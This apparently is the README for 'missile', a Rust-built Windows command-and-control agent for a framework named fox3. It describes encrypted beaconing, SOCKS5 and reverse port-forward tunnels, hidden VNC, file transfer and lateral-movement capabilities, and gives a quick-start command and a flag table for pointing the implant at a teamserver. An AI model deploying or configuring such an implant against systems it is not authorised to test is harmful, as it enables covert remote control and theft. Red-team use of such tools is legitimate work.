missile

Windows C2 agent for fox3.

HTTP beacon with automatic WSS upgrade on the same listener port — no separate configuration. All payloads are JWE-encrypted and JWT-authenticated. Jittered sleep with interruptible condvar. SOCKS5, reverse port-forward, HVNC, and file-transfer tunnels run independently of the beacon interval.

Quick start

missile.exe --url https://<teamserver>:<port>/ --psk <key> --sleep 60s --jitter 20

Flag	Default	Description
--url	https://127.0.0.1:443/	C2 listener URL
--psk	fox3	Pre-shared key (must match listener)
--sleep	5	Beacon interval (seconds)
--jitter	0	Jitter % (0–50)
--transport	http	Transport: http, dns, smb, tcp
--proxy		HTTP proxy URL for HTTPS and WSS
--debug		Verbose output

Build

Requires Rust stable (1.70+).

cargo build --release
# output: target/release/missile.exe

Transport

The http transport tries to upgrade the HTTP connection to WebSocket on first contact, using the same port and URL path as the listener. If the upgrade succeeds, all subsequent checkins use persistent binary frames and the server can push jobs immediately without waiting for the next sleep tick. If the upgrade fails, it falls back to plain HTTPS POST silently.

Status

Early development. Works against fox3 HTTP listeners. Domain-specific capabilities (Kerberos, LDAP, lateral movement) are implemented but not documented yet.